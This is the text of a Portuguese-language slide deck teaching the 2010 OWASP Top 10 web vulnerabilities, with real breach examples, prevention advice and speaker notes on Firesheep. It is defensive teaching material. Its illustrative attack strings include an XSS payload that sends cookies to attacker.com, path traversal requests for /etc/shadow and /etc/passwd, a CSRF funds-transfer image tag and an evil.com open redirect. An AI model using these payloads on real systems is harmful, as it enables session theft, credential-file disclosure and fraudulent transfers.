  • 28. A1: Injection  Exemplos reais de SQL injection  Sony Pictures (junho/2011) ▪ Milhares de contas (1M x 37K) ▪ Nomes ▪ Senhas ▪ Endereços de e-mail ▪ Endereços residenciais ▪ Datas de nascimento  Yahoo!Voices (julho/2012) ▪ Mais de 400K contas ▪ Usernames ▪ Senhas não criptografadas
  • 29. A1: Injection  Prevenção  Consultas parametrizadas: os dados são separados dos comandos String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, custname); ResultSet results = pstmt.executeQuery();
  • 30. A2: Cross Site Scripting (XSS)  Visão geral ▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, por exemplo) ▪ Aplicação repassa dados para o browser da vítima ▪ Browser da vítima executa os comandos  Vulnerabilidades associadas ▪ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • 31. A2: Cross Site Scripting (XSS)  Exemplo  A aplicação usa dados não-confiáveis na construção de código HTML: (String) page += “<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";  O atacante cria uma URL para esta página, modificando o parâmetro CC para: ‘><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>  Ao processar a URL, o browser do usuário processa a página contendo o JavaScript e o ID da sessão do usuário é enviado para o website do atacante.
  • 32. A2: Cross Site Scripting (XSS)  Exemplos reais  barackobama.com (abril/2008) ▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com  votehillary.org (abril/2008) ▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
  • 33. A2: Cross Site Scripting (XSS)  Prevenção ▪ Encoding/escaping de dados na entrada e na saída ▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução) ▪ Proteger cookies com o atributo HttpOnly
  • 34. A3: Broken Authentication and Session Management  Visão geral ▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessão para assumir a identidade do usuário. ▪ Alvos: contas, senhas e IDs de sessão  Vulnerabilidades associadas ▪ CWE-287: Improper Authentication
  • 35. A3: Broken Authentication and Session Management  Exemplos  Usuário autenticado informa os amigos sobre a passagem que comprou: http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Ha waii  Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
  • 36. A3: Broken Authentication and Session Management  Exemplos reais  Timeout da aplicação não é definido apropriadamente:
  • 37. A3: Broken Authentication and Session Management  Exemplos reais  Senhas não criptografadas no banco de dados: ▪ DreamHost (janeiro/2012) ▪ Billabong (julho/2012)
  • 38. A3: Broken Authentication and Session Management  Prevenção ▪ Adicione um timeout à sessão para reduzir a janela de oportunidade ▪ Use funções de hash e “salt” para armazenar senhas ▪ Transmita as credenciais somente sobre HTTPS
  • 39. A4: Insecure Direct Object References  Visão geral ▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de um parâmetro que aponta para um objeto do sistema (arquivo, registro, etc.) ▪ A aplicação não verifica as permissões necessárias e dá acesso indevido às informações  Vulnerabilidades associadas ▪ CWE-639: Authorization BypassThrough User-Controlled Key ▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • 40. A4: Insecure Direct Object References  Exemplo  A aplicação usa dados não verificados numa consulta SQL acessando informações da conta: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ...); pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery();  O atacante modifica o parâmetro ‘acct’ no browser para enviar o número da conta que ele quiser: http://example.com/app/accountInfo?acct=notmyacct
  • 41. A4: Insecure Direct Object References  Exemplo  A aplicação abre arquivos que são determinados pelo usuário http://some_site.com/../../../../etc/shadow http://some_site.com/get-files?file=/etc/passwd  Exemplos de path traversal em servidores web: ▪ Nginx (CVE-2009-3898) ▪ ApacheTomcat (CVE-2009-2902) ▪ IIS (CVE-2000-0884)
  • 42. A4: Insecure Direct Object References  Exemplos reais  Dados de outros usuários acessados com pequenas mudanças na URL: ▪ Passport Canada (dezembro/2007) ▪ Citibank (junho/2011)
  • 43. A4: Insecure Direct Object References  Prevenção ▪ Verifique se o usuário tem permissão para acessar o objeto requerido ▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root” ▪ Normalize/canonicalize a requisição antes de validá-la ▪ Transforme %2e%2e%5c em ..
  • 44. A5: Cross-Site Request Forgery (CSRF)  Visão geral ▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação web vulnerável ▪ Browser inclui automaticamente dados de autenticação do usuário ▪ Aplicação executa o comando em função da confiança que tem no usuário  Vulnerabilidades associadas ▪ CWE-352: Cross-Site Request Forgery (CSRF)
  • 45. A5: Cross-Site Request Forgery (CSRF)  Exemplo  Site do banco recebe requisições de transferência no seguinte formato: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243  Atacante monta uma requisição maliciosa e a insere numa tag de imagem ou iframe: <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />  Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irá transferir o dinheiro para o atacante.
  • 46. A5: Cross-Site Request Forgery (CSRF)  Exemplo reais  Vulnerabilidades de CSRF permitiam: ▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.) ▪ Postar comentários ▪ Seguir usuários/perfis
  • 47. A5: Cross-Site Request Forgery (CSRF)  Prevenção ▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisição HTTP ▪ Limitar o tempo de vida dos cookies de sessão
  • 48. A6: Security Misconfiguration  Visão geral ▪ É necessária uma configuração segura definida para a aplicação, frameworks, servidores de aplicação, servidores web, bancos de dados e plataforma. ▪ Inclui configurações default e atualização de pacotes  Vulnerabilidades associadas ▪ CWE-2: Environment
  • 49. A6: Security Misconfiguration  Exemplo real  Locaweb (setembro/2010) ▪ Vulnerabilidade no kernel Linux (CVE-2010-3081) ▪ Mais de 25 mil sites atacados ▪ Troca de acusações entre Locaweb e Red Hat
  • 50. A6: Security Misconfiguration  Prevenção ▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado com todos updates e patches ▪ Desabilite serviços, portas, contas e privilégios desnecessários ▪ Modifique ou desabilite senhas default
  • 51. A7: Insecure Cryptographic Storage  Visão geral  Muitas aplicações não protegem adequadamente dados sensíveis: ▪ Não criptografam os dados ▪ Usam algoritmos inadequados ▪ Não protegem as chaves criptográficas  Vulnerabilidades associadas ▪ CWE-310: Cryptographic Issues ▪ CWE-312: Cleartext Storage of Sensitive Information ▪ CWE-326: Inadequate Encryption Strength
  • 52. A7: Insecure Cryptographic Storage  Exemplo real  LinkedIn (junho/2012) ▪ Vazamento de 6,5 milhões de senhas criptografadas ▪ Senhas armazenadas como hashes SHA-1 ▪ Não utilizavam “salt” ▪ Vulneráveis a um ataque com “rainbow tables”
  • 53. A7: Insecure Cryptographic Storage  Prevenção ▪ Identifique quais são os dados sensíveis ▪ Use as proteções adequadas ▪ Algoritmos seguros ▪ Criptografia do sistema de arquivos ▪ Criptografia de registros no banco de dados ▪ Funções de hash com “salt” para armazenar senhas ▪ Gerenciamento de chaves criptográficas ▪ Geração ▪ Armazenamento
  • 54. A8: Failure to Restrict URL Access  Visão geral ▪ O atacante, que é um usuário do sistema, altera a URL para apontar para uma página privilegiada. ▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquela página  Vulnerabilidades associadas ▪ CWE-285: Improper Authorization
  • 55. A8: Failure to Restrict URL Access  Exemplo real  D-Link DSL-504T (CVE-2005-1827) ▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URL http://ipdoroteador/cgi-bin/firmwarecfg ▪ Com este acesso, o usuário podia ▪ Atualizar o firmware ▪ Reiniciar o roteador ▪ Restaurar uma configuração salva
  • 56. A8: Failure to Restrict URL Access  Prevenção ▪ Inclua controles de autenticação e autorização em cada página ▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir o esforço de manutenção ▪ O mecanismo de autorização deve negar todos acessos por default, exigindo permissões explícitas para cada página
  • 57. A9: InsufficientTransport Layer Protection  Visão geral  Aplicações falham em autenticar, criptografar e proteger a confidencialidade e integridade de tráfego de rede sensível.  Vulnerabilidades associadas ▪ CWE-319: Cleartext Transmission of Sensitive Information
  • 58. A9: InsufficientTransport Layer Protection  Exemplo real  MI-5 (abril/2012) ▪ Certificado SSL expirado
  • 59. A9: InsufficientTransport Layer Protection  Exemplo real  Firesheep (outubro/2010) ▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
  • 60. A9: InsufficientTransport Layer Protection  Prevenção ▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versões HTTPS. ▪ Proteja os cookies com o atributo Secure ▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes: ▪ Domínios ▪ Validade ▪ Autoridade certificadora (CA)
  • 61. A10: Unvalidated Redirects and Forwards  Visão geral  A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetros do usuário para de terminar o destino. Um atacante pode criar uma URL com um domínio conhecido, mas que levará o usuário para uma página maliciosa.  Vulnerabilidades associadas ▪ CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  • 62. A10: Unvalidated Redirects and Forwards  Exemplo  A aplicação tem uma página chamada “redirect.jsp”, que recebe um parâmetro “url”. O atacante constrói uma URL que redireciona usuários para um site malicioso que faz phishing e instala malwares: http://www.example.com/redirect.jsp?url=evil.com  Exemplo real  Trac (CVE-2008-2951) ▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através de uma URL no parâmetro q.
  • 63. A10: Unvalidated Redirects and Forwards  Prevenção ▪ Não use redirects ▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino ▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
  • 64.
  • 65.  Livros  Sites  www.owasp.org  cwe.mitre.org  Notícias  nakedsecurity.sophos.com  thehackernews.com  www.forbes.com/sites/andygreenberg/  www.h-online.com  www.net-security.org  www.securitybloggersnetwork.com  @augusto_ludtke

Notas do Editor

  1. http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  2. http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  3. http://en.wikipedia.org/wiki/Prepared_statement
  4. http://news.netcraft.com/archives/2008/04/21/hacker_redirects_barack_obamas_site_to_hillaryclintoncom.htmlhttp://news.netcraft.com/archives/2008/04/24/clinton_and_obama_xss_battle_develops.html
  5. Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim&apos;s name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser&apos;s internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one&apos;s own systems).[4]http://www.youtube.com/watch?v=06F6y2QpPbQ
  6. Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim&apos;s name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser&apos;s internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one&apos;s own systems).[4]